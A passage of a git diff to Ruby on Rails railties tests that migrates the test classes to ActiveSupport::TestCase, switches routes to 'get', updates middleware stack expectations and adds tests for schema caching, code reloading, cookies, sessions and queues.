-end
diff --git a/railties/test/application/initializers/frameworks_test.rb b/railties/test/application/initializers/frameworks_test.rb
index 446c85d65a..c2d4a0f2c8 100644
--- a/railties/test/application/initializers/frameworks_test.rb
+++ b/railties/test/application/initializers/frameworks_test.rb
@@ -1,7 +1,8 @@
 require "isolation/abstract_unit"
+require 'set'
 
 module ApplicationTests
-  class FrameworksTest < Test::Unit::TestCase
+  class FrameworksTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -66,7 +67,7 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       assert Foo.method_defined?(:foo_path)
       assert Foo.method_defined?(:main_app)
-      assert_equal ["notify"], Foo.action_methods
+      assert_equal Set.new(["notify"]), Foo.action_methods
     end
 
     test "allows to not load all helpers for controllers" do
@@ -115,7 +116,7 @@ module ApplicationTests
 
       app_file "config/routes.rb", <<-RUBY
         AppTemplate::Application.routes.draw do
-          match "/:controller(/:action)"
+          get "/:controller(/:action)"
         end
       RUBY
 
@@ -136,6 +137,13 @@ module ApplicationTests
       assert_equal 2, ActionDispatch::Http::URL.tld_length
     end
 
+    test "assignment config.encoding to default_charset" do
+      charset = 'Shift_JIS'
+      add_to_config "config.encoding = '#{charset}'"
+      require "#{app_path}/config/environment"
+      assert_equal charset, ActionDispatch::Response.default_charset
+    end
+
     # AS
     test "if there's no config.active_support.bare, all of ActiveSupport is required" do
       use_frameworks []
@@ -186,5 +194,26 @@ module ApplicationTests
       require "#{app_path}/config/environment"
       assert_nil defined?(ActiveRecord::Base)
     end
+
+    test "use schema cache dump" do
+      Dir.chdir(app_path) do
+        `rails generate model post title:string;
+         bundle exec rake db:migrate db:schema:cache:dump`
+      end
+      require "#{app_path}/config/environment"
+      ActiveRecord::Base.connection.drop_table("posts") # force drop posts table for test.
+      assert ActiveRecord::Base.connection.schema_cache.tables["posts"]
+    end
+
+    test "expire schema cache dump" do
+      Dir.chdir(app_path) do
+        `rails generate model post title:string;
+         bundle exec rake db:migrate db:schema:cache:dump db:rollback`
+      end
+      silence_warnings {
+        require "#{app_path}/config/environment"
+        assert !ActiveRecord::Base.connection.schema_cache.tables["posts"]
+      }
+    end
   end
 end
diff --git a/railties/test/application/initializers/hooks_test.rb b/railties/test/application/initializers/hooks_test.rb
index 8c7726339c..7b3e6844fd 100644
--- a/railties/test/application/initializers/hooks_test.rb
+++ b/railties/test/application/initializers/hooks_test.rb
@@ -1,7 +1,7 @@
 require "isolation/abstract_unit"
 
 module ApplicationTests
-  class InitializersTest < Test::Unit::TestCase
+  class InitializersTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
index 8c2c079fb8..02d20bc150 100644
--- a/railties/test/application/initializers/i18n_test.rb
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -1,7 +1,7 @@
 require "isolation/abstract_unit"
 
 module ApplicationTests
-  class I18nTest < Test::Unit::TestCase
+  class I18nTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -85,7 +85,7 @@ en:
 
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match '/i18n',   :to => lambda { |env| [200, {}, [Foo.instance_variable_get('@foo')]] }
+          get '/i18n',   :to => lambda { |env| [200, {}, [Foo.instance_variable_get('@foo')]] }
         end
       RUBY
 
@@ -109,7 +109,7 @@ en:
 
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match '/i18n',   :to => lambda { |env| [200, {}, [I18n.t(:foo)]] }
+          get '/i18n',   :to => lambda { |env| [200, {}, [I18n.t(:foo)]] }
         end
       RUBY
 
@@ -120,6 +120,9 @@ en:
       get "/i18n"
       assert_equal "1", last_response.body
 
+      # Wait a full second so we have time for changes to propagate
+      sleep(1)
+
       app_file "config/locales/en.yml", <<-YAML
 en:
   foo: "2"
diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb
index 644b8208a9..31811e7f92 100644
--- a/railties/test/application/initializers/load_path_test.rb
+++ b/railties/test/application/initializers/load_path_test.rb
@@ -1,7 +1,7 @@
 require "isolation/abstract_unit"
 
 module ApplicationTests
-  class LoadPathTest < Test::Unit::TestCase
+  class LoadPathTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb
index b72c14eaf0..d866a63fe0 100644
--- a/railties/test/application/initializers/notifications_test.rb
+++ b/railties/test/application/initializers/notifications_test.rb
@@ -1,7 +1,7 @@
 require "isolation/abstract_unit"
 
 module ApplicationTests
-  class NotificationsTest < Test::Unit::TestCase
+  class NotificationsTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
index 47c6fd5c6e..e0286502f3 100644
--- a/railties/test/application/loading_test.rb
+++ b/railties/test/application/loading_test.rb
@@ -1,6 +1,6 @@
 require 'isolation/abstract_unit'
 
-class LoadingTest < Test::Unit::TestCase
+class LoadingTest < ActiveSupport::TestCase
   include ActiveSupport::Testing::Isolation
 
   def setup
@@ -16,10 +16,11 @@ class LoadingTest < Test::Unit::TestCase
     @app ||= Rails.application
   end
 
-  def test_constants_in_app_are_autoloaded
+  test "constants in app are autoloaded" do
     app_file "app/models/post.rb", <<-MODEL
       class Post < ActiveRecord::Base
         validates_acceptance_of :title, :accept => "omg"
+        attr_accessible :title
       end
     MODEL
 
@@ -33,7 +34,7 @@ class LoadingTest < Test::Unit::TestCase
     assert_equal 'omg', p.title
   end
 
-  def test_models_without_table_do_not_panic_on_scope_definitions_when_loaded
+  test "models without table do not panic on scope definitions when loaded" do
     app_file "app/models/user.rb", <<-MODEL
       class User < ActiveRecord::Base
         default_scope where(:published => true)
@@ -63,9 +64,10 @@ class LoadingTest < Test::Unit::TestCase
     assert ::AppTemplate::Application.config.loaded
   end
 
-  def test_descendants_are_cleaned_on_each_request_without_cache_classes
+  test "descendants loaded after framework initialization are cleaned on each request without cache classes" do
     add_to_config <<-RUBY
       config.cache_classes = false
+      config.reload_classes_only_on_change = false
     RUBY
 
     app_file "app/models/post.rb", <<-MODEL
@@ -75,8 +77,8 @@ class LoadingTest < Test::Unit::TestCase
 
     app_file 'config/routes.rb', <<-RUBY
       AppTemplate::Application.routes.draw do
-        match '/load',   :to => lambda { |env| [200, {}, Post.all] }
-        match '/unload', :to => lambda { |env| [200, {}, []] }
+        get '/load',   :to => lambda { |env| [200, {}, Post.all] }
+        get '/unload', :to => lambda { |env| [200, {}, []] }
       end
     RUBY
 
@@ -86,18 +88,213 @@ class LoadingTest < Test::Unit::TestCase
     require "#{rails_root}/config/environment"
     setup_ar!
 
-    assert_equal [], ActiveRecord::Base.descendants
+    assert_equal [ActiveRecord::SchemaMigration], ActiveRecord::Base.descendants
     get "/load"
-    assert_equal [Post], ActiveRecord::Base.descendants
+    assert_equal [ActiveRecord::SchemaMigration, Post], ActiveRecord::Base.descendants
     get "/unload"
-    assert_equal [], ActiveRecord::Base.descendants
+    assert_equal [ActiveRecord::SchemaMigration], ActiveRecord::Base.descendants
   end
 
-  test "initialize_cant_be_called_twice" do
+  test "initialize cant be called twice" do
     require "#{app_path}/config/environment"
     assert_raise(RuntimeError) { ::AppTemplate::Application.initialize! }
   end
 
+  test "reload constants on development" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+    RUBY
+
+    app_file 'config/routes.rb', <<-RUBY
+      AppTemplate::Application.routes.draw do
+        get '/c', :to => lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
+      end
+    RUBY
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        def self.counter; 1; end
+      end
+    MODEL
+
+    require 'rack/test'
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "1", last_response.body
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        def self.counter; 2; end
+      end
+    MODEL
+
+    get "/c"
+    assert_equal "2", last_response.body
+  end
+
+  test "does not reload constants on development if custom file watcher always returns false" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+      config.file_watcher = Class.new do
+        def initialize(*); end
+        def updated?; false; end
+      end
+    RUBY
+
+    app_file 'config/routes.rb', <<-RUBY
+      AppTemplate::Application.routes.draw do
+        get '/c', :to => lambda { |env| [200, {"Content-Type" => "text/plain"}, [User.counter.to_s]] }
+      end
+    RUBY
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        def self.counter; 1; end
+      end
+    MODEL
+
+    require 'rack/test'
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "1", last_response.body
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        def self.counter; 2; end
+      end
+    MODEL
+
+    get "/c"
+    assert_equal "1", last_response.body
+  end
+
+  test "added files (like db/schema.rb) also trigger reloading" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+    RUBY
+
+    app_file 'config/routes.rb', <<-RUBY
+      $counter = 0
+      AppTemplate::Application.routes.draw do
+        get '/c', :to => lambda { |env| User; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
+      end
+    RUBY
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        $counter += 1
+      end
+    MODEL
+
+    require 'rack/test'
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "1", last_response.body
+
+    app_file "db/schema.rb", ""
+
+    get "/c"
+    assert_equal "2", last_response.body
+  end
+
+  test "columns migrations also trigger reloading" do
+    add_to_config <<-RUBY
+      config.cache_classes = false
+    RUBY
+
+    app_file 'config/routes.rb', <<-RUBY
+      AppTemplate::Application.routes.draw do
+        get '/title', :to => lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.title]] }
+        get '/body',  :to => lambda { |env| [200, {"Content-Type" => "text/plain"}, [Post.new.body]] }
+      end
+    RUBY
+
+    app_file "app/models/post.rb", <<-MODEL
+      class Post < ActiveRecord::Base
+      end
+    MODEL
+
+    require 'rack/test'
+    extend Rack::Test::Methods
+
+    app_file "db/migrate/1_create_posts.rb", <<-MIGRATION
+      class CreatePosts < ActiveRecord::Migration
+        def change
+          create_table :posts do |t|
+            t.string :title, :default => "TITLE"
+          end
+        end
+      end
+    MIGRATION
+
+    Dir.chdir(app_path) { `rake db:migrate`}
+    require "#{rails_root}/config/environment"
+
+    get "/title"
+    assert_equal "TITLE", last_response.body
+
+    app_file "db/migrate/2_add_body_to_posts.rb", <<-MIGRATION
+      class AddBodyToPosts < ActiveRecord::Migration
+        def change
+          add_column :posts, :body, :text, :default => "BODY"
+        end
+      end
+    MIGRATION
+
+    Dir.chdir(app_path) { `rake db:migrate` }
+
+    get "/body"
+    assert_equal "BODY", last_response.body
+  end
+
+  test "AC load hooks can be used with metal" do
+    app_file "app/controllers/omg_controller.rb", <<-RUBY
+      begin
+        class OmgController < ActionController::Metal
+          ActiveSupport.run_load_hooks(:action_controller, self)
+          def show
+            self.response_body = ["OK"]
+          end
+        end
+      rescue => e
+        puts "Error loading metal: \#{e.class} \#{e.message}"
+      end
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      AppTemplate::Application.routes.draw do
+        get "/:controller(/:action)"
+      end
+    RUBY
+
+    require "#{rails_root}/config/environment"
+
+    require 'rack/test'
+    extend Rack::Test::Methods
+
+    get '/omg/show'
+    assert_equal 'OK', last_response.body
+  end
+
+  def test_initialize_can_be_called_at_any_time
+    require "#{app_path}/config/application"
+
+    assert !Rails.initialized?
+    assert !AppTemplate::Application.initialized?
+    Rails.initialize!
+    assert Rails.initialized?
+    assert AppTemplate::Application.initialized?
+  end
+
   protected
 
   def setup_ar!
diff --git a/railties/test/application/middleware/best_practices_test.rb b/railties/test/application/middleware/best_practices_test.rb
index 1c88b9bf06..f6783c6ca2 100644
--- a/railties/test/application/middleware/best_practices_test.rb
+++ b/railties/test/application/middleware/best_practices_test.rb
@@ -1,7 +1,7 @@
 require 'isolation/abstract_unit'
 
 module ApplicationTests
-  class BestPracticesTest < Test::Unit::TestCase
+  class BestPracticesTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
diff --git a/railties/test/application/middleware/cache_test.rb b/railties/test/application/middleware/cache_test.rb
index 050a2161ae..54b18542c2 100644
--- a/railties/test/application/middleware/cache_test.rb
+++ b/railties/test/application/middleware/cache_test.rb
@@ -1,7 +1,7 @@
 require 'isolation/abstract_unit'
 
 module ApplicationTests
-  class RoutingTest < Test::Unit::TestCase
+  class RoutingTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -46,7 +46,7 @@ module ApplicationTests
 
       app_file 'config/routes.rb', <<-RUBY
         AppTemplate::Application.routes.draw do
-          match ':controller(/:action)'
+          get ':controller(/:action)'
         end
       RUBY
     end
@@ -54,9 +54,9 @@ module ApplicationTests
     def test_cache_keeps_if_modified_since
       simple_controller
       expected = "Wed, 30 May 1984 19:43:31 GMT"
-      
+
       get "/expires/keeps_if_modified_since", {}, "HTTP_IF_MODIFIED_SINCE" => expected
-      
+
       assert_equal 200, last_response.status
       assert_equal expected, last_response.body, "cache should have kept If-Modified-Since"
     end
diff --git a/railties/test/application/middleware/cookies_test.rb b/railties/test/application/middleware/cookies_test.rb
new file mode 100644
index 0000000000..18af7abafc
--- /dev/null
+++ b/railties/test/application/middleware/cookies_test.rb
@@ -0,0 +1,47 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+  class CookiesTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def new_app
+      File.expand_path("#{app_path}/../new_app")
+    end
+
+    def setup
+      build_app
+      boot_rails
+      FileUtils.rm_rf("#{app_path}/config/environments")
+    end
+
+    def teardown
+      teardown_app
+      FileUtils.rm_rf(new_app) if File.directory?(new_app)
+    end
+
+    test 'always_write_cookie is true by default in development' do
+      require 'rails'
+      Rails.env = 'development'
+      require "#{app_path}/config/environment"
+      assert_equal true, ActionDispatch::Cookies::CookieJar.always_write_cookie
+    end
+
+    test 'always_write_cookie is false by default in production' do
+      require 'rails'
+      Rails.env = 'production'
+      require "#{app_path}/config/environment"
+      assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+    end
+
+    test 'always_write_cookie can be overrided' do
+      add_to_config <<-RUBY
+        config.action_dispatch.always_write_cookie = false
+      RUBY
+
+      require 'rails'
+      Rails.env = 'development'
+      require "#{app_path}/config/environment"
+      assert_equal false, ActionDispatch::Cookies::CookieJar.always_write_cookie
+    end
+  end
+end
diff --git a/railties/test/application/middleware/exceptions_test.rb b/railties/test/application/middleware/exceptions_test.rb
new file mode 100644
index 0000000000..d1a614e181
--- /dev/null
+++ b/railties/test/application/middleware/exceptions_test.rb
@@ -0,0 +1,117 @@
+# encoding: utf-8
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+  class MiddlewareExceptionsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+      boot_rails
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "show exceptions middleware filter backtrace before logging" do
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def index
+            raise 'oops'
+          end
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal 500, last_response.status
+
+      log = File.read(Rails.application.config.paths["log"].first)
+      assert_no_match(/action_dispatch/, log, log)
+      assert_match(/oops/, log, log)
+    end
+
+    test "renders active record exceptions as 404" do
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def index
+            raise ActiveRecord::RecordNotFound
+          end
+        end
+      RUBY
+
+      get "/foo"
+      assert_equal 404, last_response.status
+    end
+
+    test "uses custom exceptions app" do
+      add_to_config <<-RUBY
+        config.exceptions_app = lambda do |env|
+          [404, { "Content-Type" => "text/plain" }, ["YOU FAILED BRO"]]
+        end
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = true
+
+      get "/foo"
+      assert_equal 404, last_response.status
+      assert_equal "YOU FAILED BRO", last_response.body
+    end
+
+    test "unspecified route when action_dispatch.show_exceptions is not set raises an exception" do
+      app.config.action_dispatch.show_exceptions = false
+
+      assert_raise(ActionController::RoutingError) do
+        get '/foo'
+      end
+    end
+
+    test "unspecified route when action_dispatch.show_exceptions is set shows 404" do
+      app.config.action_dispatch.show_exceptions = true
+
+      assert_nothing_raised(ActionController::RoutingError) do
+        get '/foo'
+        assert_match "The page you were looking for doesn't exist.", last_response.body
+      end
+    end
+
+    test "unspecified route when action_dispatch.show_exceptions and consider_all_requests_local are set shows diagnostics" do
+      app.config.action_dispatch.show_exceptions = true
+      app.config.consider_all_requests_local = true
+
+      assert_nothing_raised(ActionController::RoutingError) do
+        get '/foo'
+        assert_match "No route matches", last_response.body
+      end
+    end
+
+    test "displays diagnostics message when exception raised in template that contains UTF-8" do
+      app.config.action_dispatch.show_exceptions = true
+      app.config.consider_all_requests_local = true
+
+      controller :foo, <<-RUBY
+        class FooController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      app_file 'app/views/foo/index.html.erb', <<-ERB
+        <% raise 'boooom' %>
+        ✓測試テスト시험
+      ERB
+
+      app_file 'config/routes.rb', <<-RUBY
+        AppTemplate::Application.routes.draw do
+          post ':controller(/:action)'
+        end
+      RUBY
+
+      post '/foo', :utf8 => '✓'
+      assert_match(/boooom/, last_response.body)
+      assert_match(/測試テスト시험/, last_response.body)
+    end
+  end
+end
diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb
index da291f061c..9d97bae9ae 100644
--- a/railties/test/application/middleware/remote_ip_test.rb
+++ b/railties/test/application/middleware/remote_ip_test.rb
@@ -1,23 +1,9 @@
 require 'isolation/abstract_unit'
 
 module ApplicationTests
-  class RemoteIpTest < Test::Unit::TestCase
+  class RemoteIpTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
-    def setup
-      build_app
-      boot_rails
-      FileUtils.rm_rf "#{app_path}/config/environments"
-    end
-
-    def teardown
-      teardown_app
-    end
-
-    def app
-      @app ||= Rails.application
-    end
-
     def remote_ip(env = {})
       remote_ip = nil
       env = Rack::MockRequest.env_for("/").merge(env).merge!(
diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb
index d2ad2668bb..eb791f5687 100644
--- a/railties/test/application/middleware/sendfile_test.rb
+++ b/railties/test/application/middleware/sendfile_test.rb
@@ -1,7 +1,7 @@
 require 'isolation/abstract_unit'
 
 module ApplicationTests
-  class SendfileTest < Test::Unit::TestCase
+  class SendfileTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -57,5 +57,18 @@ module ApplicationTests
       get "/"
       assert_equal File.expand_path(__FILE__), last_response.headers["X-Lighttpd-Send-File"]
     end
+
+    test "files handled by ActionDispatch::Static are handled by Rack::Sendfile" do
+      make_basic_app do |app|
+        app.config.action_dispatch.x_sendfile_header = 'X-Sendfile'
+        app.config.serve_static_assets = true
+        app.paths["public"] = File.join(rails_root, "public")
+      end
+
+      app_file "public/foo.txt", "foo"
+
+      get "/foo.txt", "HTTP_X_SENDFILE_TYPE" => "X-Sendfile"
+      assert_equal File.join(rails_root, "public/foo.txt"), last_response.headers["X-Sendfile"]
+    end
   end
 end
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
new file mode 100644
index 0000000000..07134cc935
--- /dev/null
+++ b/railties/test/application/middleware/session_test.rb
@@ -0,0 +1,50 @@
+# encoding: utf-8
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+  class MiddlewareSessionTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+    include Rack::Test::Methods
+
+    def setup
+      build_app
+      boot_rails
+      FileUtils.rm_rf "#{app_path}/config/environments"
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def app
+      @app ||= Rails.application
+    end
+
+    test "config.force_ssl sets cookie to secure only" do
+      add_to_config "config.force_ssl = true"
+      require "#{app_path}/config/environment"
+      assert app.config.session_options[:secure], "Expected session to be marked as secure"
+    end
+
+    test "session is not loaded if it's not used" do
+      make_basic_app
+
+      class ::OmgController < ActionController::Base
+        def index
+          if params[:flash]
+            flash[:notice] = "notice"
+          end
+
+          render :nothing => true
+        end
+      end
+
+      get "/?flash=true"
+      get "/"
+
+      assert last_request.env["HTTP_COOKIE"]
+      assert !last_response.headers["Set-Cookie"]
+    end
+  end
+end
diff --git a/railties/test/application/middleware/show_exceptions_test.rb b/railties/test/application/middleware/show_exceptions_test.rb
deleted file mode 100644
index e3f27f63c3..0000000000
--- a/railties/test/application/middleware/show_exceptions_test.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-require 'isolation/abstract_unit'
-
-module ApplicationTests
-  class ShowExceptionsTest < Test::Unit::TestCase
-    include ActiveSupport::Testing::Isolation
-
-    def setup
-      build_app
-      boot_rails
-      FileUtils.rm_rf "#{app_path}/config/environments"
-    end
-
-    def teardown
-      teardown_app
-    end
-
-    def app
-      @app ||= Rails.application
-    end
-
-    test "unspecified route when set action_dispatch.show_exceptions to false" do
-      make_basic_app do |app|
-        app.config.action_dispatch.show_exceptions = false
-      end
-
-      assert_raise(ActionController::RoutingError) do
-        get '/foo'
-      end
-    end
-
-    test "unspecified route when set action_dispatch.show_exceptions to true" do
-      make_basic_app do |app|
-        app.config.action_dispatch.show_exceptions = true
-      end
-
-      assert_nothing_raised(ActionController::RoutingError) do
-        get '/foo'
-      end
-    end
-  end
-end
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
index 4703a59326..34b460d0a7 100644
--- a/railties/test/application/middleware_test.rb
+++ b/railties/test/application/middleware_test.rb
@@ -1,8 +1,9 @@
 require 'isolation/abstract_unit'
 require 'stringio'
+require 'rack/test'
 
 module ApplicationTests
-  class MiddlewareTest < Test::Unit::TestCase
+  class MiddlewareTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -25,6 +26,7 @@ module ApplicationTests
       boot!
 
       assert_equal [
+        "Rack::Sendfile",
         "ActionDispatch::Static",
         "Rack::Lock",
         "ActiveSupport::Cache::Strategy::LocalCache",
@@ -33,8 +35,8 @@ module ApplicationTests
         "ActionDispatch::RequestId",
         "Rails::Rack::Logger", # must come after Rack::MethodOverride to properly log overridden methods
         "ActionDispatch::ShowExceptions",
+        "ActionDispatch::DebugExceptions",
         "ActionDispatch::RemoteIp",
-        "Rack::Sendfile",
         "ActionDispatch::Reloader",
         "ActionDispatch::Callbacks",
         "ActiveRecord::ConnectionAdapters::ConnectionManagement",
@@ -43,7 +45,7 @@ module ApplicationTests
         "ActionDispatch::Session::CookieStore",
         "ActionDispatch::Flash",
         "ActionDispatch::ParamsParser",
-        "ActionDispatch::Head",
+        "Rack::Head",
         "Rack::ConditionalGet",
         "Rack::ETag",
         "ActionDispatch::BestStandardsSupport"
@@ -64,17 +66,17 @@ module ApplicationTests
       assert_equal "Rack::Cache", middleware.first
     end
 
-    test "Rack::SSL is present when force_ssl is set" do
+    test "ActionDispatch::SSL is present when force_ssl is set" do
       add_to_config "config.force_ssl = true"
       boot!
-      assert middleware.include?("Rack::SSL")
+      assert middleware.include?("ActionDispatch::SSL")
     end
 
-    test "Rack::SSL is configured with options when given" do
+    test "ActionDispatch::SSL is configured with options when given" do
       add_to_config "config.force_ssl = true"
       add_to_config "config.ssl_options = { :host => 'example.com' }"
       boot!
-      
+
       assert_equal AppTemplate::Application.middleware.first.args, [{:host => 'example.com'}]
     end
 
@@ -83,11 +85,10 @@ module ApplicationTests
       boot!
       assert !middleware.include?("ActiveRecord::ConnectionAdapters::ConnectionManagement")
       assert !middleware.include?("ActiveRecord::QueryCache")
-      assert !middleware.include?("ActiveRecord::IdentityMap::Middleware")
     end
 
-    test "removes lock if allow concurrency is set" do
-      add_to_config "config.allow_concurrency = true"
+    test "removes lock if cache classes is set" do
+      add_to_config "config.cache_classes = true"
       boot!
       assert !middleware.include?("Rack::Lock")
     end
@@ -104,10 +105,11 @@ module ApplicationTests
       assert !middleware.include?("ActionDispatch::Static")
     end
 
-    test "includes show exceptions even action_dispatch.show_exceptions is disabled" do
+    test "includes exceptions middlewares even if action_dispatch.show_exceptions is disabled" do
       add_to_config "config.action_dispatch.show_exceptions = false"
       boot!
       assert middleware.include?("ActionDispatch::ShowExceptions")
+      assert middleware.include?("ActionDispatch::DebugExceptions")
     end
 
     test "removes ActionDispatch::Reloader if cache_classes is true" do
@@ -129,29 +131,30 @@ module ApplicationTests
       assert_equal "Rack::Config", middleware.second
     end
 
-    test "RAILS_CACHE does not respond to middleware" do
+    test "Rails.cache does not respond to middleware" do
       add_to_config "config.cache_store = :memory_store"
       boot!
       assert_equal "Rack::Runtime", middleware.third
     end
 
-    test "RAILS_CACHE does respond to middleware" do
+    test "Rails.cache does respond to middleware" do
       boot!
       assert_equal "Rack::Runtime", middleware.fourth
     end
 
-    test "identity map is inserted" do
-      add_to_config "config.active_record.identity_map = true"
-      boot!
-      assert middleware.include?("ActiveRecord::IdentityMap::Middleware")
-    end
-
     test "insert middleware before" do
       add_to_config "config.middleware.insert_before ActionDispatch::Static, Rack::Config"
       boot!
       assert_equal "Rack::Config", middleware.first
     end
 
+    test "can't change middleware after it's built" do
+      boot!
+      assert_raise RuntimeError do
+        app.config.middleware.use Rack::Config
+      end
+    end
+
     # ConditionalGet + Etag
     test "conditional get + etag middlewares handle http caching based on body" do
       make_basic_app
@@ -183,7 +186,6 @@ module ApplicationTests
       assert_equal etag, last_response.headers["Etag"]
 
       get "/?nothing=true"
-      puts last_response.body
       assert_equal 200, last_response.status
       assert_equal "", last_response.body
       assert_equal "text/html; charset=utf-8", last_response.headers["Content-Type"]
@@ -191,24 +193,12 @@ module ApplicationTests
       assert_equal nil, last_response.headers["Etag"]
     end
 
-    # Show exceptions middleware
-    test "show exceptions middleware filter backtrace before logging" do
-      my_middleware = Struct.new(:app) do
-        def call(env)
-          raise "Failure"
-        end
-      end
-
-      make_basic_app do |app|
-        app.config.middleware.use my_middleware
-      end
-
-      stringio = StringIO.new
-      Rails.logger = Logger.new(stringio)
-
-      env = Rack::MockRequest.env_for("/")
+    test "ORIGINAL_FULLPATH is passed to env" do
+      boot!
+      env = ::Rack::MockRequest.env_for("/foo/?something")
       Rails.application.call(env)
-      assert_no_match(/action_dispatch/, stringio.string)
+
+      assert_equal "/foo/?something", env["ORIGINAL_FULLPATH"]
     end
 
     private
diff --git a/railties/test/application/paths_test.rb b/railties/test/application/paths_test.rb
index 964cff48cd..4029984ce9 100644
--- a/railties/test/application/paths_test.rb
+++ b/railties/test/application/paths_test.rb
@@ -1,7 +1,7 @@
 require "isolation/abstract_unit"
 
 module ApplicationTests
-  class PathsTest < Test::Unit::TestCase
+  class PathsTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
 
     def setup
@@ -15,7 +15,6 @@ module ApplicationTests
           app.config.session_store nil
         end
       RUBY
-      use_frameworks [:action_controller, :action_view, :action_mailer, :active_record]
       require "#{app_path}/config/environment"
       @paths = Rails.application.config.paths
     end
@@ -46,7 +45,6 @@ module ApplicationTests
       assert_path @paths["app/views"],           "app/views"
       assert_path @paths["lib"],                 "lib"
       assert_path @paths["vendor"],              "vendor"
-      assert_path @paths["vendor/plugins"],      "vendor/plugins"
       assert_path @paths["tmp"],                 "tmp"
       assert_path @paths["config"],              "config"
       assert_path @paths["config/locales"],      "config/locales/en.yml"
diff --git a/railties/test/application/queue_test.rb b/railties/test/application/queue_test.rb
new file mode 100644
index 0000000000..83ca981336
--- /dev/null
+++ b/railties/test/application/queue_test.rb
@@ -0,0 +1,190 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+
+module ApplicationTests
+  class GeneratorsTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+      boot_rails
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    def app_const
+      @app_const ||= Class.new(Rails::Application)
+    end
+
+    test "the queue is a TestQueue in test mode" do
+      app("test")
+      assert_kind_of Rails::Queueing::TestQueue, Rails.application.queue[:default]
+      assert_kind_of Rails::Queueing::TestQueue, Rails.queue[:default]
+    end
+
+    test "the queue is a Queue in development mode" do
+      app("development")
+      assert_kind_of Rails::Queueing::Queue, Rails.application.queue[:default]
+      assert_kind_of Rails::Queueing::Queue, Rails.queue[:default]
+    end
+
+    class ThreadTrackingJob
+      def initialize
+        @origin = Thread.current.object_id
+      end
+
+      def run
+        @target = Thread.current.object_id
+      end
+
+      def ran_in_different_thread?
+        @origin != @target
+      end
+
+      def ran?
+        @target
+      end
+    end
+
+    test "in development mode, an enqueued job will be processed in a separate thread" do
+      app("development")
+
+      job = ThreadTrackingJob.new
+      Rails.queue.push job
+      sleep 0.1
+
+      assert job.ran?, "Expected job to be run"
+      assert job.ran_in_different_thread?, "Expected job to run in a different thread"
+    end
+
+    test "in test mode, explicitly draining the queue will process it in a separate thread" do
+      app("test")
+
+      Rails.queue.push ThreadTrackingJob.new
+      job = Rails.queue.jobs.last
+      Rails.queue.drain
+
+      assert job.ran?, "Expected job to be run"
+      assert job.ran_in_different_thread?, "Expected job to run in a different thread"
+    end
+
+    class IdentifiableJob
+      def initialize(id)
+        @id = id
+      end
+
+      def ==(other)
+        other.same_id?(@id)
+      end
+
+      def same_id?(other_id)
+        other_id == @id
+      end
+
+      def run
+      end
+    end
+
